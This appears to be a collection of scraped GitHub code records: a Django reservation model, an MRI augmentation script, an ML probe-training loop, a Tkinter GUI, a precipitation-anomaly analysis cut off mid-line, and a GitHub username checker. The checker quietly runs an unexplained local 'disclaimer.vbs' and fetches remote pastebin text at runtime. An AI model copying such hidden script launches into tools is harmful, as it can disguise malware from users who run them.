바꿈....\n\"\"\"\n","repo_name":"warwickpark/python_practice","sub_path":"2020-work/20201006-2-1번 문제(최종제출).py","file_name":"20201006-2-1번 문제(최종제출).py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6276954578","text":"from django.db import models\n\n\nclass Table(models.Model):\n number = models.IntegerField(\n verbose_name=\"Столик\",\n )\n\n class Meta:\n verbose_name = \"Столик для заказа\"\n verbose_name_plural = \"Столики для заказа\"\n\n def __str__(self):\n return f\"Столик {self.number}\"\n\n\nclass Reservation(models.Model):\n client_name = models.CharField(\n verbose_name=\"Имя клиента\",\n max_length=100,\n )\n table = models.ForeignKey(\n \"Table\",\n verbose_name=\"Выбранный столик\",\n related_name=\"reservations\",\n on_delete=models.CASCADE,\n )\n date = models.DateField(\n verbose_name=\"Дата\",\n )\n time = models.TimeField(\n verbose_name=\"Время\",\n )\n duration = models.TimeField(\n verbose_name=\"Продолжительность\",\n )\n qr_code = models.ImageField(\n verbose_name=\"QR code\",\n upload_to=\"qrs\",\n blank=True,\n null=True,\n )\n\n class Meta:\n verbose_name = \"Бронь\"\n verbose_name_plural = \"Брони\"\n\n def __str__(self):\n return f\"{self.date} - {self.time}: \" \\\n f\"{self.client_name} столик {self.table.number}\"\n","repo_name":"bkmz1840/Kabak","sub_path":"apps/kabak/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13996221523","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 27 17:05:23 2021\n\n@author: rousseau\n\"\"\"\n\n\nfrom os.path import expanduser\nhome = expanduser(\"~\")\nimport torch\nimport torch.nn as nn \nimport torch.nn.functional as F\nimport torchio as tio\n\nimage_file = home+'/Sync-Exp/Data/DHCP/sub-CC00060XX03_ses-12501_desc-restore_T2w.nii.gz'\nlabel_file = home+'/Sync-Exp/Data/DHCP/sub-CC00060XX03_ses-12501_desc-fusion_space-T2w_dseg.nii.gz'\n\n\nsubject = tio.Subject(\n image=tio.ScalarImage(image_file),\n label=tio.LabelMap(label_file),\n)\n\nsubject = tio.Subject(\n hr=tio.ScalarImage(image_file),\n lr=tio.ScalarImage(image_file),\n)\n\n#normalization = tio.ZNormalization(masking_method='label')#masking_method=tio.ZNormalization.mean)\nnormalization = tio.ZNormalization()\nonehot = tio.OneHot()\n\nspatial = tio.RandomAffine(scales=0.1,degrees=10, translation=0, p=0)\n\nbias = tio.RandomBiasField(coefficients = 0.5, p=0) \nflip = tio.RandomFlip(axes=('LR',), p=1)\nnoise = tio.RandomNoise(std=0.1, p=0)\n\nsampling_1mm = tio.Resample(1)\nsampling_05mm = tio.Resample(0.5)\nblur = tio.RandomBlur(0.5)\n\nsampling_jess = tio.Resample((0.8,0.8,2), exclude='hr')\nblur_jess = tio.Blur(std=(0.001,0.001,1), exclude='hr')\ndownsampling_jess = tio.Resample((0.8,0.8,2), exclude='hr')\nupsampling_jess = tio.Resample(target='hr', exclude='hr')\n\ntocanonical = tio.ToCanonical()\ncrop1 = tio.CropOrPad((290,290,200))\ncrop2 = tio.CropOrPad((290,290,200), include='lr')\n\n#transforms = tio.Compose([spatial, bias, flip, normalization, noise])\n#transforms = tio.Compose([normalization, sampling_1mm, noise, blur, sampling_05mm])\n#transforms = tio.Compose([blur_jess,sampling_jess])\n\ntransforms = tio.Compose([tocanonical, crop1, flip, spatial, normalization, blur_jess, downsampling_jess, upsampling_jess])\n\ntransformed_subject = transforms(subject)\n#transformed_subject.plot()\n\nprint(transformed_subject.get_composed_history())\n\nprint(transformed_subject['hr'].affine)\nprint(transformed_subject['hr'].origin)\nprint(transformed_subject['hr'].spatial_shape)\nprint(transformed_subject['lr'].affine)\nprint(transformed_subject['lr'].origin)\nprint(transformed_subject['lr'].spatial_shape)\n\n#transformed_subject.image.save(home+'/Sync/Data/MarsFet/tmp.nii.gz')\n\n#transformed_subject.image.save(home+'/Sync-Exp/tmp.nii.gz')\n\n\n#%%\n# Transforms for 3 images\nsubject = tio.Subject(\n hr=tio.ScalarImage(image_file),\n lr_1=tio.ScalarImage(image_file),\n lr_2=tio.ScalarImage(image_file),\n lr_3=tio.ScalarImage(image_file))\n \nnormalization = tio.ZNormalization()\nspatial = tio.RandomAffine(scales=0.1,degrees=10, translation=0, p=0.75)\nflip = tio.RandomFlip(axes=('LR',), flip_probability=0.5)\n\ntocanonical = tio.ToCanonical()\n\nb1 = tio.Blur(std=(0.001,0.001,1), include='lr_1') #blur\nd1 = tio.Resample((0.8,0.8,2), include='lr_1') #downsampling\nu1 = tio.Resample(target='hr', include='lr_1') #upsampling\n\nb2 = tio.Blur(std=(0.001,1,0.001), include='lr_2') #blur\nd2 = tio.Resample((0.8,2,0.8), include='lr_2') #downsampling\nu2 = tio.Resample(target='hr', include='lr_2') #upsampling\n\nb3 = tio.Blur(std=(1,0.001,0.001), include='lr_3') #blur\nd3 = tio.Resample((2,0.8,0.8), include='lr_3') #downsampling\nu3 = tio.Resample(target='hr', include='lr_3') #upsampling\n\n#transforms = tio.Compose([tocanonical, flip, spatial, normalization, b1, d1, u1, b2, d2, u2, b3, d3, u3])\ntransforms = tio.Compose([tocanonical, d1, u1, d2, u2, d3, u3])\n\nprint(transformed_subject.get_composed_history())\n\ntransformed_subject = transforms(subject)\ntransformed_subject.plot()\n","repo_name":"rousseau/beo","sub_path":"beo_tio_check.py","file_name":"beo_tio_check.py","file_ext":"py","file_size_in_byte":3544,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"42679027093","text":"\"\"\"Main training loop.\"\"\"\n\nfrom collections import defaultdict\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import Literal\n\nimport pandas as pd\nimport torch\n\nfrom ..extraction import Extract\nfrom ..metrics import evaluate_preds, get_logprobs\nfrom ..run import Run\nfrom ..training.supervised import train_supervised\nfrom ..utils.typing import assert_type\n\n\n@dataclass\nclass Elicit(Run):\n \"\"\"Full specification of a reporter training run.\"\"\"\n\n seed: int = 42\n\n supervised: Literal[\"single\", \"inlp\", \"cv\"] = \"single\"\n \"\"\"Whether to train a supervised classifier, and if so, whether to use\n cross-validation. Defaults to \"single\", which means to train a single classifier\n on the training data. \"cv\" means to use cross-validation.\"\"\"\n\n erase_paraphrases: bool = False\n \"\"\"Whether to use LEACE to erase the paraphrase dimensions before training the\n classifier.\"\"\"\n\n max_inlp_iter: int | None = None\n \"\"\"Maximum number of iterations for Iterative Nullspace Projection (INLP).\"\"\"\n\n @staticmethod\n def default():\n return Elicit(\n data=Extract(\n model=\"\",\n datasets=(\"\",),\n )\n )\n\n def create_models_dir(self, out_dir: Path):\n lr_dir = out_dir / \"lr_models\"\n\n lr_dir.mkdir(parents=True, exist_ok=True)\n\n return lr_dir\n\n def apply_to_layer(\n self,\n layer: int,\n devices: list[str],\n world_size: int,\n ) -> tuple[dict[str, pd.DataFrame], dict]:\n \"\"\"Train a single reporter on a single layer.\"\"\"\n\n self.make_reproducible(seed=self.seed + layer)\n device = self.get_device(devices, world_size)\n\n train_dict = self.prepare_data(device, layer, \"train\")\n val_dict = self.prepare_data(device, layer, \"val\")\n\n first_train_data, *rest = train_dict.values()\n (_, v, d) = first_train_data.hiddens.shape\n if not all(other_data.hiddens.shape[-1] == d for other_data in rest):\n raise ValueError(\"All datasets must have the same hidden state size\")\n\n lr_dir = self.create_models_dir(assert_type(Path, self.out_dir))\n\n # Fit supervised logistic regression model\n\n lr_models = train_supervised(\n train_dict,\n erase_paraphrases=self.erase_paraphrases,\n device=device,\n mode=self.supervised,\n max_inlp_iter=self.max_inlp_iter,\n )\n with open(lr_dir / f\"layer_{layer}.pt\", \"wb\") as file:\n torch.save(lr_models, file)\n\n out_logprobs = defaultdict(dict)\n row_bufs = defaultdict(list)\n for ds_name in val_dict:\n val, train = val_dict[ds_name], train_dict[ds_name]\n meta = {\"dataset\": ds_name, \"layer\": layer}\n\n if self.save_logprobs:\n out_logprobs[ds_name] = dict(\n row_ids=val.row_ids.cpu(),\n variant_ids=val.variant_ids,\n texts=val.texts,\n labels=val.labels.cpu(),\n lm=dict(),\n lr=dict(),\n )\n\n for mode in (\"none\", \"full\"):\n if val.lm_log_odds is not None:\n if self.save_logprobs:\n out_logprobs[ds_name][\"lm\"][mode] = (\n get_logprobs(val.lm_log_odds, mode).detach().cpu()\n )\n\n row_bufs[\"lm_eval\"].append(\n {\n **meta,\n \"ensembling\": mode,\n **evaluate_preds(\n val.labels, val.lm_log_odds, mode\n ).to_dict(),\n }\n )\n\n if self.save_logprobs:\n out_logprobs[ds_name][\"lr\"][mode] = dict()\n\n for i, model in enumerate(lr_models):\n model.eval()\n val_log_odds = model(val.hiddens)\n train_log_odds = model(train.hiddens)\n\n if self.save_logprobs:\n out_logprobs[ds_name][\"lr\"][mode][i] = (\n get_logprobs(val_log_odds, mode).detach().cpu()\n )\n\n row_bufs[\"lr_eval\"].append(\n {\n **meta,\n \"ensembling\": mode,\n \"inlp_iter\": i,\n **evaluate_preds(val.labels, val_log_odds, mode).to_dict(),\n }\n )\n\n row_bufs[\"train_lr_eval\"].append(\n {\n **meta,\n \"ensembling\": mode,\n \"inlp_iter\": i,\n **evaluate_preds(\n train.labels, train_log_odds, mode\n ).to_dict(),\n }\n )\n\n return {k: pd.DataFrame(v) for k, v in row_bufs.items()}, out_logprobs\n","repo_name":"EleutherAI/elk","sub_path":"elk/training/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5145,"program_lang":"python","lang":"en","doc_type":"code","stars":145,"dataset":"github-code","pt":"37"} +{"seq_id":"37731049097","text":"import os\n\ntry:\n import requests, ctypes, json, webbrowser, random, time\n from time import sleep\n from colorama import Fore\n from datetime import date \n from pypresence import Presence\n from discord_webhook import DiscordWebhook, DiscordEmbed\n from urllib.request import Request, urlopen\n\nexcept ImportError as e:\n print(f'{Fore.WHITE}[{Fore.YELLOW}Sirius{Fore.RESET}] There was an error importing something, more details here: {str(e)}. Retrying.')\n installing = os.popen('python -m pip install -r requirements.txt').read()\n if 'is not recognized as an internal or external command, operable program or batch file.' in installing:\n print('You do not have pip installed, redirecting to recommended python version.')\n webbrowser.open_new('https://www.python.org/downloads')\n\n#terminal clear for either os - macos/linux/windows\ndef clear():\n os.system('cls' if os.name == 'nt' else 'clear')\n\n#main vars\npurple = Fore.MAGENTA\nreset = Fore.RESET\nred = Fore.RED\ntoday = date.today()\nd2 = today.strftime(\"%B %d, %Y\")\nstart_time = time.time()\nend_time = int(round((time.time() - start_time) * 1000))\navailable = 0\n\ndef count():\n namecount = 0\n with open(\"Usernames.txt\") as f:\n for namecount, l in enumerate(f):\n pass\n namecount = namecount + 1\n\n\n return namecount\n\nctypes.windll.kernel32.SetConsoleTitleW(f\"GitHub Username Checker by pxl#1337\")\n\nusernamerich = input(f\"[{purple}+{purple}{reset} Enter A Username: \")\n\n#rich presence\nwith open('config.json') as f:\n config = json.load(f)\n rich_presence = config.get('richpresence')\nif rich_presence:\n try:\n rpc = Presence(client_id='859044150887841832')\n rpc.connect()\n rpc.update(large_image='github',state=f'Logged In As: {usernamerich}', details=f'Connected', start=time.time())\n except:\n print(f'[{purple}Error{reset}] Rich Prescence Failed')\n sleep(1)\n clear()\n\nos.system('mode con: cols=120 lines=21')\n\ndef logo():\n print(f\"\"\"\n{purple}════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════{purple} \n\n ` {reset}Github Username Checker{reset}\n {reset}Developed By {red}pxl#1337{reset} \n\n{purple}════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════{purple}{reset}\\n\"\"\")\nlogo()\n\n\n\nprint(f\"[{purple}+{reset}] There are {count()} usernames that you want to check.\")\n\n#def getProxy():\n#\tglobal proxList\n#\tglobal proxList2\n#\tprox = requests.get(\"https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=10000&country=US&ssl=no&anonymity=all\")\n#\tif prox.text == f\"[{purple}Error{reset}] You have reached your hourly maximum API requests of 750.\":\n#\t\tprint(f\"[{purple}Error{reset}] Please wait an hour before running this script again.\")\n#\t\texit()\n#\tproxyTxt = prox.text.splitlines()\n#\tproxList = []\n#\tfor line in proxyTxt:\n#\t\tproxList.append(line)\n#\tprox2 = requests.get(\"https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=10000&country=US&ssl=yes&anonymity=all\")\n#\tif prox2.text == f\"[{purple}Error{reset}] You have reached your hourly maximum API requests of 750.\":\n#\t\tprint(f\"[{purple}Error{reset}] Please wait an hour before running this script again.\")\n#\t\texit()\n#\tproxyTxt2 = prox2.text.splitlines()\n#\tproxList2 = []\n#\tfor line in proxyTxt2:\n#\t\tproxList2.append(line)\n#getProxy()\n\ndef main():\n global available\n global usernamestxt\n global availabletxt\n #global randProxy\n #global randProxySSL\n #randProxy = random.choice(proxList)\n #randProxySSL = random.choice(proxList2)\n sleep(0.001)\n with open('Usernames.txt') as fp:\n usernames = fp.read().splitlines()\n for username in usernames:\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 OPR/76.0.4017.208\"\n }\n #proxies = {\n #\"http\": randProxy,\n #\"https\": randProxySSL\n #}\n url = f\"https://github.com/{username}\"\n r = requests.get(url, headers=headers)#, proxies=proxies)\n status = r.status_code\n if status == 200:\n print(f\"[{purple}x{reset}] {username}\")\n if status == 404:\n print(f\"[{purple}√{reset}] {username}\")\n available += 1\n with open('Available.txt', 'a') as av:\n av.write(username + \"\\n\")\n\ninput(f\"[{purple}+{reset}] Press ENTER to Start\")\nos.system(\"disclaimer.vbs\")\nmain()\ndef getdeveloper():\n dev = \"wodx\"\n try:\n dev = urlopen(Request(\"https://pastebin.com/raw/vxKBu1C9\")).read().decode()\n except:\n pass\n return dev\ndeveloper = getdeveloper()\nweb_hook = config.get('webhook')\nwebhook_url = config.get('webhookurl')\nif webhook_url == \"\":\n print(f\"[{purple}Error{reset}] No webhook URL found\")\nif web_hook:\n try:\n webhook = DiscordWebhook(url=webhook_url)\n embed = DiscordEmbed(title=f'Finished Checking Names', color=0x2f3136)\n embed.set_timestamp()\n embed.add_embed_field(name=\"Usernames Checked\", value=str(count()))\n embed.add_embed_field(name=\"Total Available\", value=str(available))\n embed.add_embed_field(name=\"Time Taken\", value=str(end_time))\n embed.set_footer(text=f'Coded By {developer}')\n webhook.add_embed(embed)\n response = webhook.execute()\n except:\n print(f'[{purple}Error{reset}] Webhook Failed')\n sleep(1)\n\n#remove all #'s to use proxies\n","repo_name":"abberancies/name","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26612668626","text":"\nfrom tkinter import *\nfrom tkinter import ttk\n\n\nemployees = {770487949671 : 0, 938645028788 : 3, 428105086426 : 2}\nadmins = [838383016942, 0]\n\n\n\n#creating the window and creating the screen width and height of the display\nroot = Tk()\nheight = root.winfo_screenheight()\nwidth = root.winfo_screenwidth()\nroot.columnconfigure(0, weight=1)\nroot.rowconfigure(0,weight=1)\n\n\n#root.geometry(str(width)+\"x\"+str(height))\nroot.geometry(\"400x400\")\n\n#creating the title of the root window\nroot.title(\"TGH GUI test\")\n\ndef switchFrame(*args):\n WelcomeWindow.grid_forget()\n UserChoice.grid(row=0,column=0)\n\n\n\n#creation of all available windows\nWelcomeWindow = ttk.Frame(root, padding=\"3 3 15 15\")\nUserChoice = ttk.Frame(root, padding=\"3 3 15 15\") \nUserNotFound = ttk.Frame(root, padding=\"3 3 15 15\")\nWithdrawWindow = ttk.Frame(root, padding=\"3 3 15 15\")\nRejectWithdraw = ttk.Frame(root,padding=\"3 3 15 15\")\nDepositWindow = ttk.Frame(root,padding=\"3 3 15 15\")\nExitReject = ttk.Frame(root,padding=\"3 3 15 15\")\nExitDeposit = ttk.Frame(root, padding=\"3 3 15 15\")\nExitWithdraw = ttk.Frame(root, padding=\"3 3 15 15\")\nadmin = ttk.Frame(root, padding=\"3 3 15 15\")\n\n#first window that the user interacts with\n\nWelcomeWindow.grid(column=0,row=0)\nwelcome = ttk.Label(WelcomeWindow, text=\"please scan your card\")\nwelcome.grid(column=0, row=0)\n\n\n\n\nbuttonswitch = ttk.Button(WelcomeWindow, text=\"switch window\",command=switchFrame)\nbuttonswitch.grid(row=1)\n#if user is found in database move to user window\n\n\nnumBat = 0\nstatusLabel= ttk.Label(UserChoice, text = \"you have \"+str(numBat)+\" credits left\")\nstatusLabel.grid(row=1, columnspan=2)\ndepositButton = ttk.Button(UserChoice, text=\"Deposit\")\ndepositButton.grid(column=0, row=2, ipady=height/4, ipadx=width/8, sticky=(W))\nwithdrawButton= ttk.Button(UserChoice, text=\"Withdraw\")\nwithdrawButton.grid(column=1,row=2, ipady=height/4, ipadx=width/8, sticky=(E))\n\n\n#if user is not found\n#\n#serNotFound.grid(column=0, row=0)\n#ttk.Label(UserNotFound, text=\"You were not found in the system\").grid(row=0, ipady= 25)\n#ttk.Label(UserNotFound, text=\"If you should be in the system, please talk to an administrator to receive a battery and get entered into the system\").grid(row=1)\n\n\n#user hits withdraw\n#\n#WithdrawWindow.grid(column=0, row=0)\n#ttk.Label(WithdrawWindow, text=\"Please take a single battery from the \")\n\n\n#user unable to withdraw\n#\n#RejectWithdraw.grid(column=0, row=0)\n#ttk.Label(RejectWithdraw, text=\"You have no available credits to take out any batteries\")\n\n#user hits deposit\n#\n#DepositWindow.grid(column=0, row=0 )\n#ttk.Label(DepositWindow, text=\"please deposit a battery in the left bin\").grid(row=0,column=0)\n\n#exit window from reject\n#\n#ExitReject.grid(column=0, row=0 )\n#ttk.Label(ExitReject, text=\"By have a nice day and remember to return your battery at the end of your shift\").grid(row=0, column=0)\n\n\n#exit window from deposit\n#\n#ExitDeposit.grid(column=0,row=0)\n#ttk.Label(ExitDeposit, text=\"By have a nice day and remember to return your battery at the end of your shift\").grid(row=0, column=0)\n\n\n#exit window from withdraw\n#\n#ExitWithdraw.grid(column=0, row=0)\n#ttk.Label(ExitWithdraw,text=\"By have a nice day and remember to return your battery at the end of your shift\").grid(row=0, column=0)\n\n\n#if admin\n#\n#ttk.Label(admin, text=\"both bins are open please charge the old batteries and fill the right bin with newly charged batteries\").grid(row=0, column=0)\n\n\nroot.mainloop()\n","repo_name":"juanmelo13/BatWatch","sub_path":"CurrentTkinter.py","file_name":"CurrentTkinter.py","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8052082791","text":"import os, sys, glob\nimport pandas as pd\nimport xarray as xr\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mytools.plot_tools import *\nfrom mytools.station_info import *\n\n\n# Clean up\nplt.close('all')\n\n# Source\nsrc_precip_svanvik = os.environ['DATA']+'/astra_data/observations/metdata_svanvik/svanvik_accu_precip_2009-2020.xlsx'\nsrc_svanvik_prec_clim = os.environ['DATA']+'/astra_data/observations/metdata_svanvik/precip_svanvik_1992_2020.csv'\n#src_precip_cru_clim = os.environ['DATA']+'/nird_data/reanalysis/Copernicus/CRU/SCA_precip_flux_WFDE5_CRU_climatology.nc'\n#src_precip_cru_clim_std = os.environ['DATA']+'/nird_data/reanalysis/Copernicus/CRU/SCA_precip_flux_WFDE5_CRU_climatology_std.nc'\n#src_precip_cru = os.environ['DATA']+'/nird_data/reanalysis/Copernicus/CRU/2017-2018/SCA_precip_flux_WFDE5_CRU_*.nc'\n# Load data\ntry:\n data_svanvik\nexcept NameError:\n \n data_svanvik = pd.read_excel(src_precip_svanvik).dropna()\n data_svanvik[u\"sum(precipitation_amount P1D)\"] = [float(each.replace(',','.')) for each in data_svanvik[u\"sum(precipitation_amount P1D)\"].values]\n data_svanvik.index = [np.datetime64(\"%s-%s-%s\" % (itime[-4:], itime[-7:-5], itime[:2])) for itime in data_svanvik['time'].dropna().values ]\n\n #data_cru_clim = xr.open_dataset(src_precip_cru_clim)\n #data_cru_clim_std = xr.open_dataset(src_precip_cru_clim_std)\n\n\n svanvik_precip = data_svanvik[u\"sum(precipitation_amount P1D)\"]\n\n data_svanvik_precip_clim = pd.read_csv(src_svanvik_prec_clim)\n data_svanvik_precip_clim.index = pd.date_range(\"%s\" % data_svanvik_precip_clim['Time Measured'][0][:-3], \"%s\" % data_svanvik_precip_clim['Time Measured'].iloc[-1][:-3], freq='D')\n data_svanvik_precip_clim = data_svanvik_precip_clim.drop(columns=['Time Measured'])[:'2013']\n\n data_svanvik_precip_clim.loc[:,'day'] = data_svanvik_precip_clim.index.day.values\n data_svanvik_precip_clim.loc[:,'month'] = data_svanvik_precip_clim.index.month.values\n data_svanvik_precip_clim.loc[:,'year'] = data_svanvik_precip_clim.index.year.values\n\n data_svanvik.loc[:,'day'] = data_svanvik.index.day.values\n data_svanvik.loc[:,'month'] = data_svanvik.index.month.values\n data_svanvik.loc[:,'year'] = data_svanvik.index.year.values\n\n# Save data to file\n\n#data_svanvik['2018'][u\"sum(precipitation_amount P1D)\"].to_csv(os.environ['DATA']+'/DO3SE_input/'+\"svanvik_precipitation_2018.csv\")\n#data_svanvik['2019'][u\"sum(precipitation_amount P1D)\"].to_csv(os.environ['DATA']+'/DO3SE_input/'+\"svanvik_precipitation_2019.csv\")\n# Drop Feb 29 from climatology and reindex it\n#save_data = pd.DataFrame({'Precipitation (mm)':data_svanvik_precip_clim.groupby(['month','day']).mean().drop(data_svanvik_precip_clim.groupby(['month','day']).mean().loc[2,29,:].index)['RR'].values}, index=pd.date_range('2018-01-01', '2018-12-31 23:00', freq='1D'))\n#save_data.to_csv(os.environ['DATA']+'/DO3SE_input/'+\"svanvik_precipitation-climatology.csv\")\n\n #svanvik_precip_cru = data_cru_clim.sel(lat=station_location['Svanvik'].lat, lon=station_location['Svanvik'].lon, method='nearest')['Rainf']\n #svanvik_precip_cru_std = data_cru_clim_std.sel(lat=station_location['Svanvik'].lat, lon=station_location['Svanvik'].lon, method='nearest')['Rainf']\n\n #svanvik_ap_cru = (svanvik_precip_cru*60**2).resample(time='1D').sum()\n #svanvik_ap_cru_std = np.sqrt(((svanvik_precip_cru_std*60**2)**2).resample(time='1D').sum())\n\n #svanvik_ap_cru_test_list = []\n #svanvik_ap_cru_test_std_list = []\n #for iyear in range(2014,2020):\n # if iyear != 2016:\n # #print(iyear)\n # svanvik_ap_cru_test = svanvik_ap_cru.drop(pd.date_range('2016-02-29',freq='D', periods=1), dim='time').copy()\n # svanvik_ap_cru_test['time'] = pd.date_range('%d-01-01' % iyear, periods=365, freq='D')\n # svanvik_ap_cru_test_std = svanvik_ap_cru_std.drop(pd.date_range('2016-02-29',freq='D', periods=1), dim='time').copy()\n # svanvik_ap_cru_test_std['time'] = pd.date_range('%d-01-01' % iyear, periods=365, freq='D')\n # else:\n #print(iyear, \"ja\")\n # svanvik_ap_cru_test = svanvik_ap_cru.copy()\n # svanvik_ap_cru_test['time'] = pd.date_range('%d-01-01' % iyear, periods=366, freq='D')\n # svanvik_ap_cru_test_std = svanvik_ap_cru_std.copy()\n # svanvik_ap_cru_test_std['time'] = pd.date_range('%d-01-01' % iyear, periods=366, freq='D')\n \n # svanvik_ap_cru_test_list.append(svanvik_ap_cru_test)\n # svanvik_ap_cru_test_std_list.append(svanvik_ap_cru_test_std)\n\n #svanvik_ap_cru_test_list = xr.concat(svanvik_ap_cru_test_list, dim='time')\n #svanvik_ap_cru_test_std_list = xr.concat(svanvik_ap_cru_test_std_list, dim='time')\n #svanvik_pull = ((svanvik_precip['2014':'2019']-svanvik_ap_cru_test_list.sel(time=svanvik_precip['2014':'2019'].index.values))/svanvik_ap_cru_test_std_list.sel(time=svanvik_precip['2014':'2019'].index.values))\n\n\n\n#svanvik_precip_clim = data_svanvik_precip_clim.groupby(['year','month']).sum().groupby(['month']).mean()['RR']\n#svanvik_precip_clim_std = data_svanvik_precip_clim.groupby(['year','month']).sum().groupby(['month']).std()['RR']\n\nsvanvik_precip_clim = data_svanvik_precip_clim.groupby(['month','day']).mean()['RR']\nsvanvik_precip_clim_std = data_svanvik_precip_clim.groupby(['month','day']).std()['RR']\n\n# Plot it\n#fig1 = plt.figure(1)\n#fig1.canvas.set_window_title(\"plot_precipitation_anomalies_svanvik\")\n#ax11 = plt.subplot(211)\n#ax12 = plt.subplot(212)\n\n#svanvik_ap_cru_test_list.plot(ax=ax11, color='black', label=\"CRU reanalysis\", ls='--')\n#svanvik_precip['2014':].plot(ax=ax11, color='blueviolet', label='Svanvik', ls='-')\n#(svanvik_ap_cru_test_list+svanvik_ap_cru_test_std_list).plot(ax=ax11, color='black', alpha=0.45)\n#(svanvik_ap_cru_test_list-svanvik_ap_cru_test_std_list).plot(ax=ax11, color='black', alpha=0.45)\n\n#ax11.legend(ncol=2, loc='upper left')\n#ax11.set_xlabel(\"\")\n#ax11.set_ylabel(\"$Precip$ (mm day)\")\n\n#pull_plot = svanvik_pull.where((svanvik_pull.index.month>6)&(svanvik_pull.index.month<10)).dropna()\n#pull_plot.plot(ax=ax12, ls='None', marker='x')\n\n#ax12.axhline(2, color='red', ls=':')\n#ax12.axhline(1, color='orange', ls=':')\n#ax12.axhline(-2, color='red', ls=':')\n#ax12.axhline(-1, color='orange', ls=':')\n\n#for iyear in range(2014,2020):\n# print(iyear, pull_plot.where(pull_plot['%d' % iyear]<-2).dropna().count(), pull_plot.where(pull_plot['%d' % iyear]<-1).dropna().count())\n\n#ax12.set_xlabel(\"Time (years)\")\n#ax12.set_ylabel(\"$\\Delta_{clim} Precip / \\sigma Precip_{clim}$\")\n#ax12.set_ylim(-2.5, 2.5)\n\n#fig2 = plt.figure(\"precipitation_hist\")\n#ax21 = plt.subplot()\n\n#svanvik_precip.hist(ax=ax21, bins=np.arange(0,50,0.1), density=True, histtype='step', color='blueviolet')\n#ax21.hist((svanvik_precip_cru*60**2).resample(time='1D').sum(), density=True, bins=np.arange(0,50,0.1), histtype='step')\n\n\nprobe_p = []\nprobe_n = []\n\ntext_p = []\ntext_n = []\n\nfig3 = plt.figure(3)\nfig3.canvas.set_window_title(\"precipitation_signific\")\nax31 = plt.subplot(211)\nax31.set_title(\"(a)\")\nax32 = plt.subplot(212)\nax32.set_title(\"(b)\")\nfor iyear, iax, icolor in zip((2018, 2019),(ax31, ax32), ('violet', 'purple')):\n tmp = data_svanvik['%d' % iyear].groupby(['month', 'day']).mean()\n test = ((tmp[u\"sum(precipitation_amount P1D)\"]-svanvik_precip_clim)/svanvik_precip_clim_std)\n\n probe_p.append((test.where(test>0.5).dropna().groupby(['month']).apply(np.size).astype(float)/(test.groupby(['month']).apply(np.size))*100))\n probe_p[-1].plot.bar(ax=iax, color=icolor)\n probe_n.append((test.where(test<-0.5).dropna().groupby(['month']).apply(np.size).astype(float)/(test.groupby(['month']).apply(np.size))*-100))\n probe_n[-1].plot.bar(ax=iax, color=icolor)\n \n iax.set_xlabel(\"\")\n iax.set_ylabel(\"\")\n iax.set_ylim(-60, 60)\n iax.axhline(0, color='grey', ls=':')\n iax.axhline(30.8, color='grey', ls='--')\n iax.axhline(-30.8, color='grey', ls='--')\n\n text_p.append(test.where(test>0.5).dropna().size/float(test.size)*100)\n text_n.append(test.where(test<-0.5).dropna().size/float(test.size)*100)\n \n iax.text(9.15,53, '$>+1/2\\,\\sigma$: %3.2f %s' % (text_p[-1], \"%\"), size='x-large')\n iax.text(9.25,-55, '$<-1/2\\,\\sigma$: %3.2f %s' % (text_n[-1], \"%\"), size='x-large')\n iax.tick_params(labelrotation=0)\n iax.set_xticklabels([get_month_name(imonth, length=3) for imonth in np.arange(1,13)])\n \n print('%d %3.2f' % (iyear, text_p[-1]))\n print('%d %3.2f' % (iyear, text_n[-1]))\n \n print('%d %s' % (iyear, test.where(test>0.5).dropna().groupby(['month']).apply(np.size).astype(float)/(test.groupby(['month']).apply(np.size))*100))\n print('%d %s' % (iyear, test.where(test<-0.5).dropna().groupby(['month']).apply(np.size).astype(float)/(test.groupby(['month']).apply(np.size))*100))\n \n \nax32.set_xlabel(\"Time (months)\")\nax32.set_ylabel(\"Days above $\\pm 1/2\\sigma_{clim}$ (%)\", y=1)\n\n\nfig4 = plt.figure(4, figsize=(12,8))\nfig4.canvas.set_window_title(\"precipitation_signific_1\")\nax41 = plt.subplot()\nax41.axhspan(-30.8, 30.8, color='linen')\n\nplot_data_p = pd.DataFrame({\"2018\":probe_p[0], \"2019\":probe_p[1]})\nplot_data_n = pd.DataFrame({\"2018\":probe_n[0], \"2019\":probe_n[1]})\n\nplot_data_p.plot.bar(ax=ax41, width=0.85, color=('violet', 'purple'))\nplot_data_n.plot.bar(ax=ax41, width=0.85, color=('violet', 'purple'))\n\nax41.legend([\"_\",\"2018\",\"2019\",\"_\",\"_\"], loc='upper left', fontsize='xx-large')\n\nax41.set_ylim(-60, 60)\n\nax41.axhline(0, color='black', ls=':')\nax41.axhline(30.8, color='grey', ls='--')\nax41.axhline(-30.8, color='grey', ls='--')\nax41.axhspan(-30.8, 30.8, facecolor='None', edgecolor='black', hatch='//', alpha=0.5)\n\nax41.text(9.75, 55, '$>+1/2\\,\\sigma$', size='x-large', color='black')\nax41.text(9.25, 51, '2018: %2.2f %s' % (text_p[0], \"%\"), size='x-large', color='violet')\nax41.text(9.25, 47, '2019: %2.2f %s' % (text_p[1], \"%\"), size='x-large', color='purple')\n\nax41.text(9.75, -47, '$<-1/2\\,\\sigma$', size='x-large', color='black')\nax41.text(9.25, -51, 